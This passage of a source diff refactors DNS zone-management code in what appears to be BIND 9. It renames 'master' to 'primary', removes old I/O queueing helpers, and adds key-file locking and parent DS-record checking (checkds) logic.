-	REQUIRE(iop != NULL && *iop == NULL);
-
-	io = isc_mem_get(zmgr->mctx, sizeof(*io));
-
-	io->event = isc_event_allocate(zmgr->mctx, task, DNS_EVENT_IOREADY,
-				       action, arg, sizeof(*io->event));
-
-	io->zmgr = zmgr;
-	io->high = high;
-	io->task = NULL;
-	isc_task_attach(task, &io->task);
-	ISC_LINK_INIT(io, link);
-	io->magic = IO_MAGIC;
-
-	LOCK(&zmgr->iolock);
-	zmgr->ioactive++;
-	queue = (zmgr->ioactive > zmgr->iolimit);
-	if (queue) {
-		if (io->high) {
-			ISC_LIST_APPEND(zmgr->high, io, link);
-		} else {
-			ISC_LIST_APPEND(zmgr->low, io, link);
-		}
-	}
-	UNLOCK(&zmgr->iolock);
-	*iop = io;
-
-	if (!queue) {
-		isc_task_send(io->task, &io->event);
-	}
-	return (ISC_R_SUCCESS);
-}
-
-static void
-zonemgr_putio(dns_io_t **iop) {
-	dns_io_t *io;
-	dns_io_t *next;
-	dns_zonemgr_t *zmgr;
-
-	REQUIRE(iop != NULL);
-	io = *iop;
-	*iop = NULL;
-	REQUIRE(DNS_IO_VALID(io));
-
-	INSIST(!ISC_LINK_LINKED(io, link));
-	INSIST(io->event == NULL);
-
-	zmgr = io->zmgr;
-	isc_task_detach(&io->task);
-	io->magic = 0;
-	isc_mem_put(zmgr->mctx, io, sizeof(*io));
-
-	LOCK(&zmgr->iolock);
-	INSIST(zmgr->ioactive > 0);
-	zmgr->ioactive--;
-	next = HEAD(zmgr->high);
-	if (next == NULL) {
-		next = HEAD(zmgr->low);
-	}
-	if (next != NULL) {
-		if (next->high) {
-			ISC_LIST_UNLINK(zmgr->high, next, link);
-		} else {
-			ISC_LIST_UNLINK(zmgr->low, next, link);
-		}
-		INSIST(next->event != NULL);
-	}
-	UNLOCK(&zmgr->iolock);
-	if (next != NULL) {
-		isc_task_send(next->task, &next->event);
-	}
-}
-
-static void
-zonemgr_cancelio(dns_io_t *io) {
-	bool send_event = false;
-
-	REQUIRE(DNS_IO_VALID(io));
-
-	/*
-	 * If we are queued to be run then dequeue.
-	 */
-	LOCK(&io->zmgr->iolock);
-	if (ISC_LINK_LINKED(io, link)) {
-		if (io->high) {
-			ISC_LIST_UNLINK(io->zmgr->high, io, link);
-		} else {
-			ISC_LIST_UNLINK(io->zmgr->low, io, link);
-		}
-
-		send_event = true;
-		INSIST(io->event != NULL);
-	}
-	UNLOCK(&io->zmgr->iolock);
-	if (send_event) {
-		io->event->ev_attributes |= ISC_EVENTATTR_CANCELED;
-		isc_task_send(io->task, &io->event);
-	}
-}
-
 static void
 zone_saveunique(dns_zone_t *zone, const char *path, const char *templat) {
 	char *buf;
@@ -18900,7 +18706,6 @@ setrl(isc_ratelimiter_t *rl, unsigned int *rate, unsigned int value) {
 	isc_interval_t interval;
 	uint32_t s, ns;
 	uint32_t pertic;
-	isc_result_t result;
 
 	if (value == 0) {
 		value = 1;
@@ -18922,13 +18727,19 @@ setrl(isc_ratelimiter_t *rl, unsigned int *rate, unsigned int value) {
 
 	isc_interval_set(&interval, s, ns);
 
-	result = isc_ratelimiter_setinterval(rl, &interval);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	isc_ratelimiter_setinterval(rl, &interval);
 	isc_ratelimiter_setpertic(rl, pertic);
 
 	*rate = value;
 }
 
+void
+dns_zonemgr_setcheckdsrate(dns_zonemgr_t *zmgr, unsigned int value) {
+	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
+
+	setrl(zmgr->checkdsrl, &zmgr->checkdsrate, value);
+}
+
 void
 dns_zonemgr_setnotifyrate(dns_zonemgr_t *zmgr, unsigned int value) {
 	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
@@ -19002,10 +18813,10 @@ void
 dns_zonemgr_unreachabledel(dns_zonemgr_t *zmgr, isc_sockaddr_t *remote,
 			   isc_sockaddr_t *local) {
 	unsigned int i;
-	char master[ISC_SOCKADDR_FORMATSIZE];
+	char primary[ISC_SOCKADDR_FORMATSIZE];
 	char source[ISC_SOCKADDR_FORMATSIZE];
 
-	isc_sockaddr_format(remote, master, sizeof(master));
+	isc_sockaddr_format(remote, primary, sizeof(primary));
 	isc_sockaddr_format(local, source, sizeof(source));
 
 	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
@@ -19082,8 +18893,9 @@ void
 dns_zone_forcereload(dns_zone_t *zone) {
 	REQUIRE(DNS_ZONE_VALID(zone));
 
-	if (zone->type == dns_zone_master ||
-	    (zone->type == dns_zone_redirect && zone->masters == NULL))
+	if (zone->type == dns_zone_primary ||
+	    (zone->type == dns_zone_redirect &&
+	     dns_remote_addresses(&zone->primaries) == NULL))
 	{
 		return;
 	}
@@ -19141,8 +18953,8 @@ dns_zone_setrequeststats(dns_zone_t *zone, isc_stats_t *stats) {
 	} else if (!zone->requeststats_on && stats != NULL) {
 		if (zone->requeststats == NULL) {
 			isc_stats_attach(stats, &zone->requeststats);
-			zone->requeststats_on = true;
 		}
+		zone->requeststats_on = true;
 	}
 	UNLOCK_ZONE(zone);
 }
@@ -19213,14 +19025,15 @@ void
 dns_zone_dialup(dns_zone_t *zone) {
 	REQUIRE(DNS_ZONE_VALID(zone));
 
-	zone_debuglog(zone, "dns_zone_dialup", 3, "notify = %d, refresh = %d",
+	zone_debuglog(zone, __func__, 3, "notify = %d, refresh = %d",
 		      DNS_ZONE_FLAG(zone, DNS_ZONEFLG_DIALNOTIFY),
 		      DNS_ZONE_FLAG(zone, DNS_ZONEFLG_DIALREFRESH));
 
 	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_DIALNOTIFY)) {
 		dns_zone_notify(zone);
 	}
-	if (zone->type != dns_zone_master && zone->masters != NULL &&
+	if (zone->type != dns_zone_primary &&
+	    dns_remote_addresses(&zone->primaries) != NULL &&
 	    DNS_ZONE_FLAG(zone, DNS_ZONEFLG_DIALREFRESH))
 	{
 		dns_zone_refresh(zone);
@@ -19258,8 +19071,7 @@ dns_zone_setdialup(dns_zone_t *zone, dns_dialuptype_t dialup) {
 		DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NOREFRESH);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	UNLOCK_ZONE(zone);
 }
@@ -19341,8 +19153,7 @@ dns_zonemgr_getcount(dns_zonemgr_t *zmgr, int state) {
 		}
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	RWUNLOCK(&zmgr->rwlock, isc_rwlocktype_read);
@@ -19350,6 +19161,32 @@ dns_zonemgr_getcount(dns_zonemgr_t *zmgr, int state) {
 	return (count);
 }
 
+void
+dns_zone_lock_keyfiles(dns_zone_t *zone) {
+	REQUIRE(DNS_ZONE_VALID(zone));
+
+	if (zone->kasp == NULL) {
+		/* No need to lock, nothing is writing key files. */
+		return;
+	}
+
+	REQUIRE(DNS_KEYFILEIO_VALID(zone->kfio));
+	isc_mutex_lock(&zone->kfio->lock);
+}
+
+void
+dns_zone_unlock_keyfiles(dns_zone_t *zone) {
+	REQUIRE(DNS_ZONE_VALID(zone));
+
+	if (zone->kasp == NULL) {
+		/* No need to lock, nothing is writing key files. */
+		return;
+	}
+
+	REQUIRE(DNS_KEYFILEIO_VALID(zone->kfio));
+	isc_mutex_unlock(&zone->kfio->lock);
+}
+
 isc_result_t
 dns_zone_checknames(dns_zone_t *zone, const dns_name_t *name,
 		    dns_rdata_t *rdata) {
@@ -19381,7 +19218,7 @@ dns_zone_checknames(dns_zone_t *zone, const dns_name_t *name,
 		dns_name_format(name, namebuf, sizeof(namebuf));
 		dns_rdatatype_format(rdata->type, typebuf, sizeof(typebuf));
 		dns_zone_log(zone, level, "%s/%s: %s", namebuf, typebuf,
-			     dns_result_totext(DNS_R_BADOWNERNAME));
+			     isc_result_totext(DNS_R_BADOWNERNAME));
 		if (fail) {
 			return (DNS_R_BADOWNERNAME);
 		}
@@ -19394,7 +19231,7 @@ dns_zone_checknames(dns_zone_t *zone, const dns_name_t *name,
 		dns_name_format(&bad, namebuf2, sizeof(namebuf2));
 		dns_rdatatype_format(rdata->type, typebuf, sizeof(typebuf));
 		dns_zone_log(zone, level, "%s/%s: %s: %s ", namebuf, typebuf,
-			     namebuf2, dns_result_totext(DNS_R_BADNAME));
+			     namebuf2, isc_result_totext(DNS_R_BADNAME));
 		if (fail) {
 			return (DNS_R_BADNAME);
 		}
@@ -19551,7 +19388,7 @@ zone_signwithkey(dns_zone_t *zone, dns_secalg_t algorithm, uint16_t keyid,
 	signing->deleteit = deleteit;
 	signing->done = false;
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 
 	ZONEDB_LOCK(&zone->dblock, isc_rwlocktype_read);
 	if (zone->db != NULL) {
@@ -19592,7 +19429,7 @@ zone_signwithkey(dns_zone_t *zone, dns_secalg_t algorithm, uint16_t keyid,
 		signing = NULL;
 		if (isc_time_isepoch(&zone->signingtime)) {
 			zone->signingtime = now;
-			if (zone->task != NULL) {
+			if (zone->loop != NULL) {
 				zone_settimer(zone, &now);
 			}
 		}
@@ -19614,16 +19451,6 @@ zone_signwithkey(dns_zone_t *zone, dns_secalg_t algorithm, uint16_t keyid,
 	return (result);
 }
 
-static void
-clear_keylist(dns_dnsseckeylist_t *list, isc_mem_t *mctx) {
-	dns_dnsseckey_t *key;
-	while (!ISC_LIST_EMPTY(*list)) {
-		key = ISC_LIST_HEAD(*list);
-		ISC_LIST_UNLINK(*list, key, link);
-		dns_dnsseckey_destroy(mctx, &key);
-	}
-}
-
 /* Called once; *timep should be set to the current time. */
 static isc_result_t
 next_keyevent(dst_key_t *key, isc_stdtime_t *timep) {
@@ -19636,7 +19463,8 @@ next_keyevent(dst_key_t *key, isc_stdtime_t *timep) {
 	for (i = 0; i <= DST_MAX_TIMES; i++) {
 		result = dst_key_gettime(key, i, &event);
 		if (result == ISC_R_SUCCESS && event > now &&
-		    (then == 0 || event < then)) {
+		    (then == 0 || event < then))
+		{
 			then = event;
 		}
 	}
@@ -19778,8 +19606,7 @@ tickle_apex_rrset(dns_rdatatype_t rrtype, dns_zone_t *zone, dns_db_t *db,
 		  dns_dbversion_t *ver, isc_stdtime_t now, dns_diff_t *diff,
 		  dns__zonediff_t *zonediff, dst_key_t **keys,
 		  unsigned int nkeys, isc_stdtime_t inception,
-		  isc_stdtime_t keyexpire, bool check_ksk,
-		  bool keyset_kskonly) {
+		  isc_stdtime_t keyexpire) {
 	dns_difftuple_t *tuple;
 	isc_result_t result;
 
@@ -19787,7 +19614,8 @@ tickle_apex_rrset(dns_rdatatype_t rrtype, dns_zone_t *zone, dns_db_t *db,
 	     tuple = ISC_LIST_NEXT(tuple, link))
 	{
 		if (tuple->rdata.type == rrtype &&
-		    dns_name_equal(&tuple->name, &zone->origin)) {
+		    dns_name_equal(&tuple->name, &zone->origin))
+		{
 			break;
 		}
 	}
@@ -19798,17 +19626,16 @@ tickle_apex_rrset(dns_rdatatype_t rrtype, dns_zone_t *zone, dns_db_t *db,
 		if (result != ISC_R_SUCCESS) {
 			dnssec_log(zone, ISC_LOG_ERROR,
 				   "sign_apex:del_sigs -> %s",
-				   dns_result_totext(result));
+				   isc_result_totext(result));
 			return (result);
 		}
 		result = add_sigs(db, ver, &zone->origin, zone, rrtype,
 				  zonediff->diff, keys, nkeys, zone->mctx,
-				  inception, keyexpire, check_ksk,
-				  keyset_kskonly);
+				  inception, keyexpire);
 		if (result != ISC_R_SUCCESS) {
 			dnssec_log(zone, ISC_LOG_ERROR,
 				   "sign_apex:add_sigs -> %s",
-				   dns_result_totext(result));
+				   isc_result_totext(result));
 			return (result);
 		}
 	}
@@ -19821,7 +19648,6 @@ sign_apex(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
 	  isc_stdtime_t now, dns_diff_t *diff, dns__zonediff_t *zonediff) {
 	isc_result_t result;
 	isc_stdtime_t inception, soaexpire, keyexpire;
-	bool check_ksk, keyset_kskonly;
 	dst_key_t *zone_keys[DNS_MAXZONEKEYS];
 	unsigned int nkeys = 0, i;
 
@@ -19830,7 +19656,7 @@ sign_apex(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "sign_apex:dns__zone_findkeys -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		return (result);
 	}
 
@@ -19844,9 +19670,6 @@ sign_apex(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
 		keyexpire += now;
 	}
 
-	check_ksk = DNS_ZONE_OPTION(zone, DNS_ZONEOPT_UPDATECHECKKSK);
-	keyset_kskonly = DNS_ZONE_OPTION(zone, DNS_ZONEOPT_DNSKEYKSKONLY);
-
 	/*
 	 * See if dns__zone_updatesigs() will update DNSKEY/CDS/CDNSKEY
 	 * signature and if not cause them to sign so that newly activated
@@ -19854,31 +19677,31 @@ sign_apex(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
 	 */
 	result = tickle_apex_rrset(dns_rdatatype_dnskey, zone, db, ver, now,
 				   diff, zonediff, zone_keys, nkeys, inception,
-				   keyexpire, check_ksk, keyset_kskonly);
+				   keyexpire);
 	if (result != ISC_R_SUCCESS) {
 		goto failure;
 	}
 	result = tickle_apex_rrset(dns_rdatatype_cds, zone, db, ver, now, diff,
 				   zonediff, zone_keys, nkeys, inception,
-				   keyexpire, check_ksk, keyset_kskonly);
+				   keyexpire);
 	if (result != ISC_R_SUCCESS) {
 		goto failure;
 	}
 	result = tickle_apex_rrset(dns_rdatatype_cdnskey, zone, db, ver, now,
 				   diff, zonediff, zone_keys, nkeys, inception,
-				   keyexpire, check_ksk, keyset_kskonly);
+				   keyexpire);
 	if (result != ISC_R_SUCCESS) {
 		goto failure;
 	}
 
 	result = dns__zone_updatesigs(diff, db, ver, zone_keys, nkeys, zone,
 				      inception, soaexpire, keyexpire, now,
-				      check_ksk, keyset_kskonly, zonediff);
+				      zonediff);
 
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "sign_apex:dns__zone_updatesigs -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto failure;
 	}
 
@@ -19889,63 +19712,6 @@ sign_apex(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
 	return (result);
 }
 
-/*
- * Prevent the zone entering a inconsistent state where
- * NSEC only DNSKEYs are present with NSEC3 chains.
- * See update.c:check_dnssec()
- */
-static bool
-dnskey_sane(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
-	    dns_diff_t *diff) {
-	isc_result_t result;
-	dns_difftuple_t *tuple;
-	bool nseconly = false, nsec3 = false;
-	dns_rdatatype_t privatetype = dns_zone_getprivatetype(zone);
-
-	/* Scan the tuples for an NSEC-only DNSKEY */
-	for (tuple = ISC_LIST_HEAD(diff->tuples); tuple != NULL;
-	     tuple = ISC_LIST_NEXT(tuple, link))
-	{
-		uint8_t alg;
-		if (tuple->rdata.type != dns_rdatatype_dnskey ||
-		    tuple->op != DNS_DIFFOP_ADD) {
-			continue;
-		}
-
-		alg = tuple->rdata.data[3];
-		if (alg == DST_ALG_RSASHA1) {
-			nseconly = true;
-			break;
-		}
-	}
-
-	/* Check existing DB for NSEC-only DNSKEY */
-	if (!nseconly) {
-		result = dns_nsec_nseconly(db, ver, &nseconly);
-		if (result == ISC_R_NOTFOUND) {
-			result = ISC_R_SUCCESS;
-		}
-		CHECK(result);
-	}
-
-	/* Check existing DB for NSEC3 */
-	if (!nsec3) {
-		CHECK(dns_nsec3_activex(db, ver, false, privatetype, &nsec3));
-	}
-
-	/* Refuse to allow NSEC3 with NSEC-only keys */
-	if (nseconly && nsec3) {
-		dnssec_log(zone, ISC_LOG_ERROR,
-			   "NSEC only DNSKEYs and NSEC3 chains not allowed");
-		goto failure;
-	}
-
-	return (true);
-
-failure:
-	return (false);
-}
-
 static isc_result_t
 clean_nsec3param(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
 		 dns_diff_t *diff) {
@@ -19975,62 +19741,1297 @@ clean_nsec3param(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
 }
 
 /*
- * Given an RRSIG rdataset and an algorithm, determine whether there
- * are any signatures using that algorithm.
+ * Given an RRSIG rdataset and an algorithm, determine whether there
+ * are any signatures using that algorithm.
+ */
+static bool
+signed_with_alg(dns_rdataset_t *rdataset, dns_secalg_t alg) {
+	dns_rdata_t rdata = DNS_RDATA_INIT;
+	dns_rdata_rrsig_t rrsig;
+	isc_result_t result;
+
+	REQUIRE(rdataset == NULL || rdataset->type == dns_rdatatype_rrsig);
+	if (rdataset == NULL || !dns_rdataset_isassociated(rdataset)) {
+		return (false);
+	}
+
+	for (result = dns_rdataset_first(rdataset); result == ISC_R_SUCCESS;
+	     result = dns_rdataset_next(rdataset))
+	{
+		dns_rdataset_current(rdataset, &rdata);
+		result = dns_rdata_tostruct(&rdata, &rrsig, NULL);
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+		dns_rdata_reset(&rdata);
+		if (rrsig.algorithm == alg) {
+			return (true);
+		}
+	}
+
+	return (false);
+}
+
+static isc_result_t
+add_chains(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
+	   dns_diff_t *diff) {
+	dns_name_t *origin;
+	bool build_nsec3;
+	isc_result_t result;
+
+	origin = dns_db_origin(db);
+	CHECK(dns_private_chains(db, ver, zone->privatetype, NULL,
+				 &build_nsec3));
+	if (build_nsec3) {
+		CHECK(dns_nsec3_addnsec3sx(db, ver, origin, zone_nsecttl(zone),
+					   false, zone->privatetype, diff));
+	}
+	CHECK(updatesecure(db, ver, origin, zone_nsecttl(zone), true, diff));
+
+failure:
+	return (result);
+}
+
+static void
+dnssec_report(const char *format, ...) {
+	va_list args;
+	va_start(args, format);
+	isc_log_vwrite(dns_lctx, DNS_LOGCATEGORY_DNSSEC, DNS_LOGMODULE_ZONE,
+		       ISC_LOG_INFO, format, args);
+	va_end(args);
+}
+
+static void
+checkds_destroy(dns_checkds_t *checkds, bool locked) {
+	REQUIRE(DNS_CHECKDS_VALID(checkds));
+
+	dns_zone_log(checkds->zone, ISC_LOG_DEBUG(3),
+		     "checkds: destroy DS query");
+
+	if (checkds->zone != NULL) {
+		if (!locked) {
+			LOCK_ZONE(checkds->zone);
+		}
+		REQUIRE(LOCKED_ZONE(checkds->zone));
+		if (ISC_LINK_LINKED(checkds, link)) {
+			ISC_LIST_UNLINK(checkds->zone->checkds_requests,
+					checkds, link);
+		}
+		if (!locked) {
+			UNLOCK_ZONE(checkds->zone);
+		}
+		if (locked) {
+			zone_idetach(&checkds->zone);
+		} else {
+			dns_zone_idetach(&checkds->zone);
+		}
+	}
+	if (checkds->find != NULL) {
+		dns_adb_destroyfind(&checkds->find);
+	}
+	if (checkds->request != NULL) {
+		dns_request_destroy(&checkds->request);
+	}
+	if (dns_name_dynamic(&checkds->ns)) {
+		dns_name_free(&checkds->ns, checkds->mctx);
+	}
+	if (checkds->key != NULL) {
+		dns_tsigkey_detach(&checkds->key);
+	}
+	if (checkds->transport != NULL) {
+		dns_transport_detach(&checkds->transport);
+	}
+	INSIST(checkds->rlevent == NULL);
+	isc_mem_putanddetach(&checkds->mctx, checkds, sizeof(*checkds));
+}
+
+static isc_result_t
+make_dnskey(dst_key_t *key, unsigned char *buf, int bufsize,
+	    dns_rdata_t *target) {
+	isc_result_t result;
+	isc_buffer_t b;
+	isc_region_t r;
+
+	isc_buffer_init(&b, buf, bufsize);
+	result = dst_key_todns(key, &b);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	dns_rdata_reset(target);
+	isc_buffer_usedregion(&b, &r);
+	dns_rdata_fromregion(target, dst_key_class(key), dns_rdatatype_dnskey,
+			     &r);
+	return (ISC_R_SUCCESS);
+}
+
+static bool
+do_checkds(dns_zone_t *zone, dst_key_t *key, isc_stdtime_t now,
+	   bool dspublish) {
+	dns_kasp_t *kasp = zone->kasp;
+	const char *dir = dns_zone_getkeydirectory(zone);
+	isc_result_t result;
+	uint32_t count = 0;
+	uint32_t num;
+
+	switch (zone->checkdstype) {
+	case dns_checkdstype_yes:
+		num = zone->parent_nscount;
+		break;
+	case dns_checkdstype_explicit:
+		num = dns_remote_count(&zone->parentals);
+		break;
+	case dns_checkdstype_no:
+	default:
+		dns_zone_log(zone, ISC_LOG_WARNING,
+			     "checkds: option is disabled");
+		return (false);
+	}
+
+	if (dspublish) {
+		(void)dst_key_getnum(key, DST_NUM_DSPUBCOUNT, &count);
+		count += 1;
+		dst_key_setnum(key, DST_NUM_DSPUBCOUNT, count);
+		dns_zone_log(zone, ISC_LOG_DEBUG(3),
+			     "checkds: %u DS published "
+			     "for key %u",
+			     count, dst_key_id(key));
+
+		if (count != num) {
+			return false;
+		}
+	} else {
+		(void)dst_key_getnum(key, DST_NUM_DSDELCOUNT, &count);
+		count += 1;
+		dst_key_setnum(key, DST_NUM_DSDELCOUNT, count);
+		dns_zone_log(zone, ISC_LOG_DEBUG(3),
+			     "checkds: %u DS withdrawn "
+			     "for key %u",
+			     count, dst_key_id(key));
+
+		if (count != num) {
+			return false;
+		}
+	}
+
+	dns_zone_log(zone, ISC_LOG_DEBUG(3),
+		     "checkds: checkds %s for key "
+		     "%u",
+		     dspublish ? "published" : "withdrawn", dst_key_id(key));
+
+	dns_zone_lock_keyfiles(zone);
+	result = dns_keymgr_checkds_id(kasp, &zone->checkds_ok, dir, now, now,
+				       dspublish, dst_key_id(key),
+				       dst_key_alg(key));
+	dns_zone_unlock_keyfiles(zone);
+
+	if (result != ISC_R_SUCCESS) {
+		dns_zone_log(zone, ISC_LOG_WARNING,
+			     "checkds: checkds for key %u failed: %s",
+			     dst_key_id(key), isc_result_totext(result));
+		return false;
+	}
+
+	return true;
+}
+
+static isc_result_t
+validate_ds(dns_zone_t *zone, dns_message_t *message) {
+	UNUSED(zone);
+	UNUSED(message);
+
+	/* Get closest trust anchor */
+
+	/* Check that trust anchor is (grand)parent of zone. */
+
+	/* Find the DNSKEY signing the message. */
+
+	/* Check that DNSKEY is in chain of trust. */
+
+	/* Validate DS RRset. */
+
+	return (ISC_R_SUCCESS);
+}
+
+static void
+checkds_done(void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
+	dns_checkds_t *checkds = dns_request_getarg(request);
+	char addrbuf[ISC_SOCKADDR_FORMATSIZE];
+	char rcode[128];
+	dns_zone_t *zone = NULL;
+	dns_db_t *db = NULL;
+	dns_dbversion_t *version = NULL;
+	dns_dnsseckey_t *key = NULL;
+	dns_dnsseckeylist_t keys;
+	dns_kasp_t *kasp = NULL;
+	dns_message_t *message = NULL;
+	dns_rdataset_t *ds_rrset = NULL;
+	isc_buffer_t buf;
+	isc_result_t result;
+	isc_stdtime_t now;
+	isc_time_t timenow;
+	bool rekey = false;
+	bool empty = false;
+
+	REQUIRE(DNS_CHECKDS_VALID(checkds));
+
+	zone = checkds->zone;
+
+	ISC_LIST_INIT(keys);
+
+	kasp = zone->kasp;
+	INSIST(kasp != NULL);
+
+	isc_buffer_init(&buf, rcode, sizeof(rcode));
+	isc_sockaddr_format(&checkds->dst, addrbuf, sizeof(addrbuf));
+
+	dns_zone_log(zone, ISC_LOG_DEBUG(1), "checkds: DS query to %s: done",
+		     addrbuf);
+
+	dns_message_create(zone->mctx, DNS_MESSAGE_INTENTPARSE, &message);
+	INSIST(message != NULL);
+
+	CHECK(dns_request_getresult(request));
+	CHECK(dns_request_getresponse(request, message,
+				      DNS_MESSAGEPARSE_PRESERVEORDER));
+	CHECK(dns_rcode_totext(message->rcode, &buf));
+
+	dns_zone_log(zone, ISC_LOG_DEBUG(3),
+		     "checkds: DS response from %s: %.*s", addrbuf,
+		     (int)buf.used, rcode);
+
+	/* Validate response. */
+	CHECK(validate_ds(zone, message));
+
+	/* Check RCODE. */
+	if (message->rcode != dns_rcode_noerror) {
+		dns_zone_log(zone, ISC_LOG_NOTICE,
+			     "checkds: bad DS response from %s: %.*s", addrbuf,
+			     (int)buf.used, rcode);
+		goto failure;
+	}
+
+	/* Make sure that either AA or RA bit is set. */
+	if ((message->flags & DNS_MESSAGEFLAG_AA) == 0 &&
+	    (message->flags & DNS_MESSAGEFLAG_RA) == 0)
+	{
+		dns_zone_log(zone, ISC_LOG_NOTICE,
+			     "checkds: bad DS response from %s: expected AA or "
+			     "RA bit set",
+			     addrbuf);
+		goto failure;
+	}
+
+	/* Lookup DS RRset. */
+	result = dns_message_firstname(message, DNS_SECTION_ANSWER);
+	while (result == ISC_R_SUCCESS) {
+		dns_name_t *name = NULL;
+		dns_rdataset_t *rdataset;
+
+		dns_message_currentname(message, DNS_SECTION_ANSWER, &name);
+		if (dns_name_compare(&zone->origin, name) != 0) {
+			goto next;
+		}
+
+		for (rdataset = ISC_LIST_HEAD(name->list); rdataset != NULL;
+		     rdataset = ISC_LIST_NEXT(rdataset, link))
+		{
+			if (rdataset->type != dns_rdatatype_ds) {
+				goto next;
+			}
+
+			ds_rrset = rdataset;
+			break;
+		}
+
+		if (ds_rrset != NULL) {
+			break;
+		}
+
+	next:
+		result = dns_message_nextname(message, DNS_SECTION_ANSWER);
+	}
+
+	if (ds_rrset == NULL) {
+		empty = true;
+		dns_zone_log(zone, ISC_LOG_NOTICE,
+			     "checkds: empty DS response from %s", addrbuf);
+	}
+
+	timenow = isc_time_now();
+	now = isc_time_seconds(&timenow);
+
+	CHECK(dns_zone_getdb(zone, &db));
+	dns_db_currentversion(db, &version);
+
+	KASP_LOCK(kasp);
+	LOCK_ZONE(zone);
+	for (key = ISC_LIST_HEAD(zone->checkds_ok); key != NULL;
+	     key = ISC_LIST_NEXT(key, link))
+	{
+		bool alldone = false, found = false;
+		bool checkdspub = false, checkdsdel = false, ksk = false;
+		dst_key_state_t ds_state = DST_KEY_STATE_NA;
+		isc_stdtime_t published = 0, withdrawn = 0;
+		isc_result_t ret = ISC_R_SUCCESS;
+
+		/* Is this key have the KSK role? */
+		(void)dst_key_role(key->key, &ksk, NULL);
+		if (!ksk) {
+			continue;
+		}
+
+		/* Do we need to check the DS RRset for this key? */
+		(void)dst_key_getstate(key->key, DST_KEY_DS, &ds_state);
+		(void)dst_key_gettime(key->key, DST_TIME_DSPUBLISH, &published);
+		(void)dst_key_gettime(key->key, DST_TIME_DSDELETE, &withdrawn);
+
+		if (ds_state == DST_KEY_STATE_RUMOURED && published == 0) {
+			checkdspub = true;
+		} else if (ds_state == DST_KEY_STATE_UNRETENTIVE &&
+			   withdrawn == 0)
+		{
+			checkdsdel = true;
+		}
+		if (!checkdspub && !checkdsdel) {
+			continue;
+		}
+
+		if (empty) {
+			goto dswithdrawn;
+		}
+
+		/* Find the appropriate DS record. */
+		ret = dns_rdataset_first(ds_rrset);
+		while (ret == ISC_R_SUCCESS) {
+			dns_rdata_ds_t ds;
+			dns_rdata_t dnskey = DNS_RDATA_INIT;
+			dns_rdata_t dsrdata = DNS_RDATA_INIT;
+			dns_rdata_t rdata = DNS_RDATA_INIT;
+			isc_result_t r;
+			unsigned char dsbuf[DNS_DS_BUFFERSIZE];
+			unsigned char keybuf[DST_KEY_MAXSIZE];
+
+			dns_rdataset_current(ds_rrset, &rdata);
+			r = dns_rdata_tostruct(&rdata, &ds, NULL);
+			if (r != ISC_R_SUCCESS) {
+				goto nextds;
+			}
+			/* Check key tag and algorithm. */
+			if (dst_key_id(key->key) != ds.key_tag) {
+				goto nextds;
+			}
+			if (dst_key_alg(key->key) != ds.algorithm) {
+				goto nextds;
+			}
+			/* Derive DS from DNSKEY, see if the rdata is equal. */
+			make_dnskey(key->key, keybuf, sizeof(keybuf), &dnskey);
+			r = dns_ds_buildrdata(&zone->origin, &dnskey,
+					      ds.digest_type, dsbuf, &dsrdata);
+			if (r != ISC_R_SUCCESS) {
+				goto nextds;
+			}
+			if (dns_rdata_compare(&rdata, &dsrdata) == 0) {
+				found = true;
+				if (checkdspub) {
+					/* DS Published. */
+					alldone = do_checkds(zone, key->key,
+							     now, true);
+					if (alldone) {
+						rekey = true;
+					}
+				}
+			}
+
+		nextds:
+			ret = dns_rdataset_next(ds_rrset);
+		}
+
+	dswithdrawn:
+		/* DS withdrawn. */
+		if (checkdsdel && !found) {
+			alldone = do_checkds(zone, key->key, now, false);
+			if (alldone) {
+				rekey = true;
+			}
+		}
+	}
+	UNLOCK_ZONE(zone);
+	KASP_UNLOCK(kasp);
+
+	/* Rekey after checkds. */
+	if (rekey) {
+		dns_zone_rekey(zone, false);
+	}
+
+failure:
+	if (result != ISC_R_SUCCESS) {
+		dns_zone_log(zone, ISC_LOG_DEBUG(3),
+			     "checkds: DS request failed: %s",
+			     isc_result_totext(result));
+	}
+
+	if (version != NULL) {
+		dns_db_closeversion(db, &version, false);
+	}
+	if (db != NULL) {
+		dns_db_detach(&db);
+	}
+
+	while (!ISC_LIST_EMPTY(keys)) {
+		key = ISC_LIST_HEAD(keys);
+		ISC_LIST_UNLINK(keys, key, link);
+		dns_dnsseckey_destroy(dns_zone_getmctx(zone), &key);
+	}
+
+	checkds_destroy(checkds, false);
+	dns_message_detach(&message);
+}
+
+static bool
+checkds_isqueued(dns_zone_t *zone, dns_name_t *name, isc_sockaddr_t *addr,
+		 dns_tsigkey_t *key, dns_transport_t *transport) {
+	dns_checkds_t *checkds;
+
+	for (checkds = ISC_LIST_HEAD(zone->checkds_requests); checkds != NULL;
+	     checkds = ISC_LIST_NEXT(checkds, link))
+	{
+		if (checkds->request != NULL) {
+			continue;
+		}
+		if (name != NULL && dns_name_equal(name, &checkds->ns)) {
+			return (true);
+		}
